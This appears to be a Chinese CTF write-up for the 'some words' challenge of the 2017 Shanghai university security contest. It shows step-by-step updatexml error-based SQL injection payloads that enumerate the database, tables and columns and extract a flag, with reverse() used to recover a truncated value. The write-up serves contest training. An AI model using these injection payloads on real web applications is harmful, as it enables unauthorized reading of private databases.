第三屆上海市大學生網絡安全大賽2017全國邀請賽some words題解

發現有錯誤回顯,因而想到updatexml報錯注入php

http://ae67e27b918d4e49ad5c1cd6e8c6d4459137e5d215634ec1.game.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select database()),0x7e),1)

看到數據庫words,在報錯注入中還有一種簡單的方式判斷當前數據庫即構造?id=a()mysql

該句表示在words數據庫中不存在a表,一次輸入如下函數的到返回信息sql

user()          XPATH syntax error: '~root@localhost~'
database()     XPATH syntax error: '~words~'
version()         XPATH syntax error: '~5.5.57-0ubuntu0.14.04.1~'
@@datadir    XPATH syntax error: '~/var/lib/mysql/~' 
接下來查表數目
?id=updatexml(1,concat(0x7e,(select count(*) from information_schema.tables ),0x7e),1) #查詢數據庫中有多少表

找到表f14g數據庫

?id=updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 81,1),0x7e),1)

查表的數目ubuntu

?id=updatexml(1,concat(0x7e,(select count(*) from information_schema.columns ),0x7e),1)

找到fl4g字段函數

?id=updatexml(1,concat(0x7e,(select column_name from information_schema.columns limit 808,1),0x7e),1)

讀字段找flagspa

?id=updatexml(1,concat(0x7e,(select f14g from f14g),0x7e),1)

我感受此題最經典的地方在於flag不徹底顯示出來,要用到sql語句的另外一個函數reverse()code

?id=updatexml(1,concat(reverse((select f14g from f14g))),1)

因此最後flag爲flag{aedc780c-21f9-472a-9ae6-235fc568086c}orm

相關文章
相關標籤/搜索